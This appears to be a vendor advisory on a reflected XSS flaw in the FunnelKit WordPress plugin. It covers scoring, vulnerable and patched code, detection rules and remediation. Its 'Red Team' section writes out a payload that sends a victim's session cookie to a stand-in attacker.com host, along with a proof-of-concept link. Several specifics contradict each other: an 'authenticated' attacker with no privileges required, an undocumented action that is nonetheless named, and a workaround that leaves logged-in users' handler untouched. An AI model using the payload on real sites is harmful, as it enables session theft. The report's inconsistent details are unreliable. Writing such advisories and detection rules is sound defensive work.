CVE-2025-10567

Executive Summary

CVE-2025-10567 is a reflected Cross-Site Scripting (XSS) vulnerability in the FunnelKit WordPress plugin, affecting versions prior to 3.12.0.1. The vulnerability exists because the plugin fails to sanitize user input before echoing it back in certain checkout-related AJAX actions. This allows an authenticated attacker to inject arbitrary JavaScript code, which executes in the context of a logged-in user's browser session. The attack requires user interaction (e.g., clicking a crafted link) and is limited to logged-in users, but it can lead to session hijacking, credential theft, or unauthorized actions within the WordPress admin panel.

As a WordPress plugin vulnerability, this issue is part of the broader WordPress ecosystem and does not implicate the underlying web server software (Apache or Nginx). The plugin is widely used for checkout optimization, making this a high-priority issue for e-commerce sites.

CVSS Breakdown & Threat Level

CVSS Score: 0.0 (NVD) | Adjusted Score: 6.1 (Medium)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

• Attack Vector (AV): Network – The attack is carried out over the network.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – The attacker does not need to be authenticated.
• User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
• Integrity (I): Low – Limited ability to modify data (e.g., change settings).
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for session hijacking in a WordPress admin context elevates the risk for e-commerce sites.

Deep Dive & Mechanics

The vulnerability resides in the FunnelKit plugin's AJAX handlers for checkout-related actions. When processing user-supplied input (e.g., via $_GET or $_POST parameters), the plugin directly echoes the input back into the HTML response without proper sanitization or output encoding. This allows an attacker to inject arbitrary HTML and JavaScript.

Root Cause: The plugin uses functions like echo $_REQUEST['param'] or similar constructs without applying esc_html(), esc_js(), or wp_kses() to neutralize malicious input.

Attack Flow:

1. An attacker crafts a malicious URL containing a JavaScript payload in a vulnerable parameter (e.g., ?checkout_field=<script>alert('XSS')</script>).
2. The attacker sends this URL to a logged-in WordPress user (e.g., via phishing email or social engineering).
3. The victim clicks the link, which triggers an AJAX request to the FunnelKit plugin.
4. The plugin processes the request and echoes the unsanitized payload back into the response.
5. The victim's browser executes the injected JavaScript, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Affected AJAX Actions: The exact actions are not publicly documented, but they are related to checkout field handling and order processing.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-3.12.0.1):

// In some AJAX handler
$field_value = $_GET['field'];
echo $field_value; // No sanitization

Patched Code (3.12.0.1+):

// In the same AJAX handler
$field_value = sanitize_text_field( $_GET['field'] );
echo esc_html( $field_value ); // Properly sanitized and escaped

The patch introduces sanitize_text_field() to strip dangerous characters and esc_html() to encode HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with FunnelKit plugin version < 3.12.0.1.
• A logged-in user (any role) to target.

Exploit Steps:

1. Identify a vulnerable AJAX endpoint. Example: /wp-admin/admin-ajax.php?action=funnelkit_checkout_field&field=<script>alert('XSS')</script>.
2. Craft a phishing email or link: https://target.com/wp-admin/admin-ajax.php?action=funnelkit_checkout_field&field=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>.
3. When the victim clicks the link, the script executes and exfiltrates their session cookie.

Proof-of-Concept (PoC):

<!-- Save as poc.html and host on attacker server -->
<a href="https://target.com/wp-admin/admin-ajax.php?action=funnelkit_checkout_field&field=<script>alert('XSS')</script>">Click me</a>

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to admin-ajax.php with suspicious parameters containing <script> or onerror= patterns.
• Use WAF rules to block reflected XSS payloads in query strings.

Hardening:

• Apply the patch by upgrading to FunnelKit 3.12.0.1 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enable WordPress automatic updates for plugins.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /wp-admin/admin-ajax.php with action=funnelkit_checkout_field and parameters containing <script>, onerror, onload, or javascript:.
• Outbound connections to attacker-controlled domains from the WordPress server.

File IOCs:

• Modified plugin files in /wp-content/plugins/funnelkit/ (check file integrity via checksums).

Log IOCs:

• Repeated 200 responses to admin-ajax.php with XSS payloads in the request URI.

Detection Engineering

YARA Rule

rule CVE_2025_10567_FunnelKit_XSS {
    meta:
        description = "Detects reflected XSS attempts against FunnelKit plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10567"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $funnelkit_ajax = "action=funnelkit_checkout_field"
    condition:
        $funnelkit_ajax and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against FunnelKit Plugin
id: 8a9b3c2d-1e4f-5a6b-7c8d-9e0f1a2b3c4d
status: experimental
description: Detects reflected XSS payloads in FunnelKit AJAX requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'action=funnelkit_checkout_field'
        cs-uri-query|re: '(<script|<img|onerror|onload|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of HTML in custom fields (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2025-10567 FunnelKit Reflected XSS Attempt";
    flow:to_server,established;
    content:"action=funnelkit_checkout_field";
    http_uri;
    pcre:"/(<script|<img|onerror|onload|javascript:)/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade FunnelKit to version 3.12.0.1 or later. This is the only complete fix.
2. Apply a Virtual Patch using a WAF (e.g., Cloudflare, ModSecurity) to block requests containing XSS patterns in admin-ajax.php parameters.
3. Audit User Sessions – Force logout of all active sessions to invalidate any stolen cookies.

Long-Term Measures:

• Enable automatic plugin updates in WordPress.
• Implement a Content Security Policy (CSP) that restricts script sources.
• Conduct regular security audits of third-party plugins.
• Train users to recognize phishing attempts that exploit reflected XSS.

Workaround (if patching is delayed):

• Disable the vulnerable AJAX actions by adding a filter in functions.php:

add_action('wp_ajax_nopriv_funnelkit_checkout_field', function() {
    wp_die('Action disabled for security.');
});

Valters IT